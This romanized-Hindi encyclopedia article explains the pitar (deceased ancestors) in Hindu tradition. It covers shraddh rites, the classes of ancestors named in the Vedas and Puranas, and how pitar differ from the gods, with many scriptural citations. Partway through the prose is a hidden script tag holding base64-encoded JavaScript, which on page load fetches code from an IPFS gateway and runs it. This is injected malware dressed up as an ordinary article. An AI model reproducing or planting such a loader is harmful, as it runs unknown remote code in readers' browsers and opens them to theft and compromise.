पितर
| 30px yah lekh pauranik granthoan athava manyataoan par adharit hai at: isamean varnit samagri ke vaijnanik praman hone ka ashvasan nahian diya ja sakata. vistar mean dekhean asvikaran |
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pitar
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| anuyayi | sabhi hindoo dharmavalambi |
| uddeshy | shraddh poorvajoan ke prati sachchi shraddha ka pratik haian. pitaroan ke nimitt vidhipoorvak jo karm shraddha se kiya jata hai, usi ko 'shraddh' kahate haian.. |
| prarambh | vaidik-pauranik |
| tithi | bhadrapad shukl paksh ki poornima se sarvapitri amavasya arthath ashvin krishna paksh amavasya tak |
| anushthan | shraddh-karm mean pake hue chaval, doodh aur til ko mishrit karake jo 'pind' banate haian. pind ka arth hai sharir. yah ek paranparik vishvas hai, ki har pidhi ke bhitar matrikul tatha pitrikul donoan mean pahale ki pidhiyoan ke samanvit 'gunasootr' upasthit hote haian. yah pratikatmak anushthan jin jin logoan ke gunasootr (jins) shraddh karane vale ki apani deh mean haian, unaki tripti ke lie hota hai. |
| sanbandhit lekh | pitri paksh, shraddh ke niyam, anvashtaka krity, ashtaka krity, anvahary shraddh, shraddh visarjan, pitri visarjan amavasya, tarpan, madhyavarsh krity, matamah shraddh, shraddh aur grahan, shraddh karane ka sthan, shraddh ki ahuti, shraddh ki kotiyaan, shraddh ki mahatta, shraddh prapautr dvara, shraddh phalasoochi, shraddh varjana, shraddh vidhi, pindadan, gaya, nasik, adity devata aur rudr devata |
| any janakari | brahm puran ke anusar shraddh ki paribhasha- 'jo kuchh uchit kal, patr evan sthan ke anusar uchit (shastranumodit) vidhi dvara pitaroan ko lakshy karake shraddhapoorvak brahmanoan ko diya jata hai', shraddh kahalata hai. |
- pitri ka arth
'pitri' ka arth hai 'pita', kintu 'pitar' shabd jo do arthoan mean prayukt hua hai:-
- vyakti ke age ke tin mrit poorvaj evan
- manav jati ke prarambh ya prachin poorvaj jo ek prithakh lok ke adhivasi ke roop mean kalpit haian.[1]
doosare arth ke lie rrigved[2] mean ullekh hai "vah som jo ki shaktishali hota chala jata hai aur doosaroan ko bhi shaktishali banata hai, jo tanane vale se tan diya jata hai, jo dhara mean bahata hai, prakashaman (soory) dvara jisane hamari raksha ki – 'vah som, jisaki sahayata se hamare pitar logoan ne ek sthan[3] ko evan uchchatar sthaloan ko janate hue gauoan ke lie parvat ko pi dit kiya." rrigved[4] mean pitrigan nimn, madhyam evan uchch tin shreniyoan mean vyakt hue haian. ve prachin, pashchatyakalin evan uchchatar kahe gaye haian.[5] ve sabhi agni ko jnat haian, yadyapi sabhi pitrigan apane vanshajoan ko jnat nahian haian.[6] ve kee shreniyoan mean vibhakt haian, yatha–aangirash, vairoop, bhrigu, navagv evan dashagv[7]; aangirash log yam se sambandhit haian, donoan ko yajn mean sath hi bulaya jata hai.[8] rrigved[9] mean aisa kaha gaya hai–"jisaki (indr ki) sahayata se hamare prachin pitar aangirash, jinhoanne usaki stuti-vandana ki aur jo sthan ko janate the, gauoan ka pata laga sake." aangirash pitar log svayan do bhagoan mean vibhakt the; navagv evan dashagv.[10] kee sthanoan par pitar log sapt rrishiyoan jaise sambodhit kiye gaye haian[11] aur kabhi-kabhi navagv evan dashagv bhi sapt rrishi kahe gaye haian.[12] aangirash log agni[13] evan svarg[14] ke putr kahe gaye haian. pitri log adhikatar devoan, visheshat: yam ke sath anand manate hue vyakt kiye gaye haian.[15] ve somapremi hote haian[16], ve kush par baithate haian[17], ve agni evan indr ke sath ahutiyaan lene ate haian[18] aur agni unake pas ahutiyaan le jati haian.[19] jal jane ke uparant mritatma ko agni pitaroan ke pas le jati hai.[20] pashchatkalin granthoan mean bhi, yatha markandey puran[21] mean brahma ko arambh mean char prakar ki shreniyaan utpann karate hue vyakt kiya gaya hai, yatha–dev, asur, pitar evan manav prani.[22]
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bhadrapad ki pratiksha hamare poorvaj poore varsh bhar karate haian. ve chandralok ke madhyam se dakshin disha mean apani mrityu tithi par apane ghar ke daravaze par jate haian aur samman pakar apani nee pidhi ko ashirvad dete haian.
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aisa mana gaya hai ki sharir ke dah ke uparant mritatma ko vayavy sharir prapt hota hai aur vah manushyoan ko ekatr karane vale yam evan pitaroan ke sath ho leta hai.[23] mritatma pitrilok mean chala jata hai aur agni se prarthana ki jati hai ki vah use sath karm vale pitaroan evan vishnu ke pad-nyas (vikram) ki or le jae.[24] yadyapi rrigved[25] mean yam ki divi (svarg mean) nivas karane vala likha gaya hai, kintu nirukt[26] ke mat se vah madhyam lok mean rahane vala dev kaha gaya hai. atharvaved[27] ka kathan hai–"ham shraddhapoorvak pita ke pita evan pitamah ki, jo brihath madhyam lok mean rahate haian aur jo prithvi evan svarg mean rahate haian, pooja karean." rrigved[28] mean aya hai–'tin lok haian; do (arthath svarg evan prithvi) savita ki god mean haian, ek (arthath madhyam lok) yamalok hai, jahaan mritatma ekatr hote haian.' 'mahan prakashaman (soory) udit ho gaya hai, (vah) pitaroan ka dan hai.[29]' taittiriy brahman[30] mean aisa aya hai ki pitar isase age tisare lok mean nivas karate haian. isaka arth yah hai ki bhulok evan aantariksh ke uparant pitrilok ata hai. brihadaranyakopanishadh[31] mean manushyoan, pitaroan evan devoan ke tin lok prithak-prithakh varnit haian. rrigved[32] mean yam kuchh bhinn bhasha mean ullikhit hai, vah svayan ek dev kaha gaya hai, n ki pratham manushy jisane marg banaya[33], ya vah manushyoan ko ekatr karane vala hai[34] ya pitaroan ki sangati mean rahata hai. kuchh sthaloan par vah nisandeh raja kaha jata hai aur varun ke sath hi prashansit hai.[35] kintu aisi sthiti bahut hi kam varnit hai.[36]
pitaroan ki any shreniyaan
- pitaroan ki any shreniyaan bhi haian, yatha–pitar: somavant:, pitar: barhishad: evan pitar: agnishvatta:.
- antim do ke nam rrigved[37] mean aye haian. shatapath brahman ne inaki paribhasha yoan ki hai–"jinhoanne ek somayajn kiya, ve pitar somavant: kahe gaye haian; jinhoanne pakv ahutiyaan (charu evan purodas ke saman) dian aur ek lok prapt kiya, ve pitar barhishad: kahe gaye haian; jinhoanne in donoan mean koee krity nahian sampadit kiya aur jinhean jalate samay agni ne samapt kar diya, unhean agnishvatta: kaha gaya hai; keval ye hi pitar haian."[38]
- pashchatkalin lekhakoan ne pitaroan ki shreniyoan ke namoan ke arthoan mean parivartan kar diya hai.
- udaharanarth, nandipuran (hemadri) mean aya hai- brahmanoan ke pitar agnishvatt, kshatriyoan ke pitar barhishadh, vaishyoan ke pitar kavy, shoodroan ke pitar sukalin: tatha mlechchhoan evan asprishyoan ke pitar vyam haian.[39]
- yahaan tak ki manu[40] ne bhi pitaroan ki kee kotiyaan di haian aur charoan varnoan ke lie kram se somapa:, havirbhuj:, ajyapa: evan sukalin: pitaroan ke nam batala diye gaye haian. age chalakar manu[41] ne kaha hai ki brahmanoan ke pitar anagnidagdh, agnidagdh, kavy barhishadh, agnishvatt evan saumy namoan se pukare jate haian. in namoan se pata chalata hai ki manu ne pitaroan ki kotiyoan ke vishay mean katipay paramparaoan ko manyata di hai.
- in namoan evan inaki paribhasha ke lie matsy puran[42] mean bhi ullekh hai.
- shatatapasmriti[43] mean pitaroan ki 12 kotiyoan ya vibhagoan ke nam aye haian, yatha–pindabhaj: (3), lepabhaj: (3), nandimukh (3) evan ashrumukh (3). yah pitrivibhajan do drishtiyoan se hua hai.
- vayu puran[44], brahmand puran[45], padm puran[46], vishnudharmottar[47] evan any puranoan mean pitaroan ke sat prakar aye haian, jinamean tin amoortimanh haian aur char moortimanh; vahaan par unaka aur unaki santati ka vishad varnan hua haian in par ham vichar nahian kareange.
- skand puran[48] ne pitaroan ki nau kotiyaan di haian; agnishvatta:, barhishad:, ajyapath, somapa:, rashmipa:, upahoota:, ayantun:, shraddhabhuj: evan nandimukha:. is soochi mean naye evan purane nam sammilit haian.
- bharatiy log bhagoan, upavibhagoan, vibhajanoan adi mean b di abhiruchi pradarshit karate haian aur sambhavat: yah usi bhavana ka ek digdarshan hai.
- manu[49] ne kaha hai ki rrishiyoan se pitaroan ki udabhooti huee, pitaroan se devoan evan manavoan ki tatha devoan se sthavar evan jangam ke sampoorn lok ki udabhooti huee.
- yah drashtavy hai ki yahaan devagan pitaroan se udabhoot mane gaye haian. yah keval pitaroan ki prashasti hai (arthath yah ek arthavad hai).
[[chitr:Puran-1.png|250px|thumb|left|puran]]
devoan se bhinn
pitar log devoan se bhinn the. rrigved[50] ke 'panchajana mam hotran jushadhvamh' mean prayukt shabd 'panchajana:' evan any vachanoan ke arth ke adhar par aitarey brahman[51] ne vyakhya ki hai ve paanch kotiyaan haian, apsaraoan ke sath gandharv, pitri, dev, sarp evan rakshas. nirukt ne isaka kuchh aanshoan mean anusaran kiya hai[52] aur apani or se bhi vyakhya ki hai. atharvaved[53] mean dev, pitri evan manushy usi kram mean ullikhit haian. prachin vaidik uktiyaan evan vyavahar devoan tatha pitaroan mean spasht bhinnata prakat karate haian. taittiriy sanhita[54] mean aya hai–'devoan evan manushyoan ne dishaoan ko baant liya, devoan ne poorv liya, pitaroan ne dakshin, manushyoan ne pashchim evan rudroan ne uttar.' samany niyam yah hai ki devoan ke yajn madhyahn ke poorv mean arambh kiye jate haian aur pitriyajn aparanhn mean.[55] shatapath brahman[56] ne varnan kiya hai ki pitar log apane dahine kandhe par (aur bayean bahu ke niche) yajnopavit dharan karake prajapati ke yahaan pahuanche, tab prajapati ne unase kaha- 'tum logoan ko bhojan pratyek mas (ke ant) mean (amavasya ko) milega, tumhari svadha vichar ki tezi hogi evan chandr tumhara prakash hoga.' devoan se usane kaha- 'yajn tumhara bhojan hoga evan soory tumhara prakash.' taittiriy brahman[57] ne lagata hai, un pitaroan mean jo devoan ke svabhav evan sthiti ke haian evan unamean, jo adhik ya kam manav ke saman haian, antar bataya hai.
dev-krity evan pitri krity
thumb|250px|pooja archana karate shraddhalu kaushikasutr[58] ne ek sthal par dev-krityoan evan pitri krityoan ki vidhi ke antar ko b de sundar dhang se diya hai. dev-krity karane vala yajnopavit ko bayean kandhe evan dahine hath ke niche rakhata hai evan pitri-krity karane vala dayean kandhe evan bayean hath ke niche rakhata hai. dev-krity poorv ki or ya uttar ki or mukh karake arambh kiya jata hai kintu pitri-yajn dakshinabhimukh hokar arambh kiya jata hai. dev-krity ka uttar-poorv (ya uttar ya poorv) mean ant kiya jata hai aur pitri-krity dakshin-pashchim mean samapt kiya jata hai. pitaroan ke lie ek krity ek hi bar kiya jata hai, kintu devoan ke lie kam se kam tir bar ya shastranukul kee bar kiya jata hai. pradakshina karane mean dakshin bhag devoan ki or kiya jata hai aur bayaan bhag pitaroan ke vishay mean kiya jata hai. devoan ko havi ya ahutiyaan dete samay 'svaha' evan 'vashath' shabd uchcharit hote haian, kintu pitaroan ke lie is vishay mean 'svadha' ya 'namaskar' shabd uchcharit kiya jata hai. pitaroan ke lie darbh j d se ukha dakar prayukt hote haian kintu devoan ke lie j d ke oopar katakar. baudhayan shrautasootr[59] ne ek sthal par inamean se kuchh ka varnan kiya hai.[60] svayan rrigved[61] ne devoan evan pitaroan ke lie aise shabdantar ko vyakt kiya hai. shatapathabrahman[62] ne devoan ko amar evan pitaroan ko mar kaha hai.
dev evan pitar ki prithakh kotiyaan
yadyapi dev evan pitar prithakh kotiyoan mean rakhe gaye haian, tathapi pitar log devoan ki kuchh visheshataoan ko apane mean rakhate haian. rrigved[63] ne kaha hai ki pitar som pite haian. rrigved[64] mean aisa kaha gaya hai ki pitaroan ne akash ko nakshatroan se sushobhit kiya (nakshatrebhi: pitaro dyamapianshanh) aur aandhakar ratri mean evan prakash din mean rakha. pitaroan ko gupt prakash prapt karane vale kaha gaya hai aur unhean 'usha' ko utpann karane vale dyotit kiya gaya hai.[65] yahaan pitaroan ko uchchatam devoan ki shaktiyoan se samanvit mana gaya hai. bhaanti-bhaanti ke varadanoan ki prapti ke lie pitaroan ko shraddhapoorvak bulaya gaya hai aur unaka anugrah kee prakar se prapy kaha gaya hai.[66] mean pitaroan se sumati evan saumanas (anugrah) prapt karane ki bat kahi gayi hai. unase kashtarahit anand dene[67] evan yajaman (yajnakarta) ko evan usake putr ko sampatti dene ke lie prarthana ki gayi hai.[68] rrigved[69] evan atharvaved[70] ne sampatti evan shoor putr dene ko kaha hai. atharvaved[71] ne kaha hai–'ve pitar jo vadhu ko dekhane ke lie ekatr hote haian, use santatiyukt anand dean.' vajasaneyi sanhita[72] mean prasiddh mantr yah hai–"he pitaro, (is patni ke) garbh mean (age chalakar) kamaloan ki mala pahanane vala bachcha rakho, jisase vah kumar (poorn vikasit) ho jae", jo is samay kaha jata hai, jab ki shraddhakarta ki patni tin pindoan mean bich ka pind kha leti hai.[73]
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tika tippani aur sandarbh
- ↑ yah drishtikon yadi bharopiy (indo yooropiyan) nahian hai to kam se kam bharat parasy (indo eeraniyan) to hai hi. prachin parasi shastr phravashiyoan (phravashis=aangrezi bahuvachan} ke vishay mean charcha karate haian, jo arambhik roop mean prachin hindoo granthoan mean prayukt 'pitri' ya prachin romakoan (romavasiyoan) ka 'menas' shabd hai. ve mrit logoan ke amar evan adhishthata devata the. kramash: 'phravashi' ka arth vistrit ho gaya aur usamean devata tatha prithvi evan akash jaisi vastuean bhi sammilit ho gayian, arthath pratyek mean phravashi paya jane laga.
- ↑ rrigved (10|14|2 evan 7; 1015|2 evan 9|97|39
- ↑ jahaan gayean chhipakar rakhi huee thian
- ↑ rrigved (10|15|1
- ↑ rrigved 10|15|2
- ↑ rrigved 10|15|13
- ↑ rrigved (10|14|5-6
- ↑ rrigved 10|14|3-5
- ↑ rrigved (1|62|2
- ↑ rrigved 1|62|4; 5|39|12 evan 10|62|6
- ↑ rrigved 4|42|8 evan 6|22|2
- ↑ rrigved (1|62|4
- ↑ rrigved 10|62|5
- ↑ rrigved (4|2|15
- ↑ rrigved 7|76|4, 10|14|10 evan 10|15|8-10
- ↑ rrigved 10|15|1 evan 5, 9|97|39
- ↑ rrigved 10215|5
- ↑ rrigved 10|15|10 evan 10|16|12
- ↑ rrigved 10|15|12
- ↑ rrigved 10|16|1-2 evan 5=atharvaved 18|2|10; rrigved 10|17|3
- ↑ markandey puran (adhyay 45
- ↑ aur dekhie brahmapuran (prakriya, adhyay 8, upodghat, adhyay 9|10)–'ityete pitaro deva devashch pitar: pun:. anyonyapitaro hote.'
- ↑ rrigved 10|14|1 evan 8, 10|1625).
- ↑ rrigved 10|14|9 evan 10|16|4
- ↑ rrigved (10|64|3
- ↑ nirukt (10|18
- ↑ atharvaved (18|2|49
- ↑ rrigved (1|35|6
- ↑ rrigved 10|107|1
- ↑ taittiriy brahman (1|2|10|5
- ↑ brihadaranyakopanishadh (1|5|16
- ↑ rrigved (10|138|1-7
- ↑ rrigved 10|14|2
- ↑ rrigved (10|14|1
- ↑ rrigved 10|14|7).
- ↑ is vishay mean adhik janakari ke lie dekhie is khand ka adhyay 6.
- ↑ rrigved (10|15|4 evan 11=taittariy sanhita 2|6|12|2
- ↑ dekhie taittiriy brahman (1|6|9|5) evan kathakasanhita (9|6|17).
- ↑ milaie manu 3|117).
- ↑ manu(3|193-198
- ↑ manu(3|199
- ↑ matsy puran(141|4, 141|15-18
- ↑ shatatapasmriti (625-6
- ↑ vayupuran (72|1 evan 73|6
- ↑ brahmand puran (upodaghath 9|53
- ↑ padm puran (5|9|2-3
- ↑ vishnudharmottar (1|138|2-3
- ↑ skand puran (6|216|9-10
- ↑ manu (3|201
- ↑ rrigved (10|53|4
- ↑ aitareyabrahman (13|7 ya 3|31
- ↑ nirukt (3|8
- ↑ atharvaved (10|6|62
- ↑ taittiriy sanhita (6|1|1|1
- ↑ shaankhayan brahman 5|6
- ↑ shatapath brahman(2|4|2|2
- ↑ taittiriy brahman (1|3|10|4
- ↑ kaushikasutr (1|9-23
- ↑ baudhayan shrautasootr (2|2
- ↑ pragapavarganyudagapavargani va pradamukh: pradakshinan yajnopaviti daivani karmani karoti. dakshina mukh: prasavyan prachinaviti pitryani. baudhayan shrautasootr (2|2
- ↑ rrigved (10|14|3 'svahayanye svadhayanye madanti'
- ↑ shatapathabrahman (2|1|3|4 evan 2|1|4|9
- ↑ rrigved (10|15|8
- ↑ rrigved (10|68|11
- ↑ rrigved 7|76|3
- ↑ rrigved (10|14|6
- ↑ rrigved 10|15|4
- ↑ rrigved 10|15|7 evan11
- ↑ rrigved (10|15|11
- ↑ atharvaved (18|3|14
- ↑ atharvaved (14|2|73
- ↑ vajasaneyi sanhita (2|33
- ↑ adhatt pitaro garbh kumaran pushkarasrajamh. yatheh purushoasath.. vaj. san. (2|33). khadiragrihy. (3|5|30) ne vyavastha di hai–'madhyaman pindan putrakama prashayedadhatteti'; aur dekhie gobhilagrihy (4|3|27) evan kaushikasootr (89|6). ashvalayan shrautasootr (2|7|13) mean aya hai–'patnian prashayedadhatt pitaro....srajamh.' ashvinau ko pushkarasrajau kaha gaya hai, at: 'pushkarasraj' shabd mean bhavana yah hai ki putr lambi ayu vala evan sundar ho. 'yatheh....asath' ko is prakar vyakhyayit kiya gaya hai–'yen prakaren ihaiv kshitau purusho devapitrimanushyanamabhishtapoorayita bhoopath tatha garbhamadhatt.' dekhie halayudh ka brahmanasarvasv. katyayan shrautasootr (4|1|22) ne bhi kaha hai–'adhatteti madhyamapindan patni prashnati putrakama.
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sambandhit lekh
varnamala kramanusar lekh khoj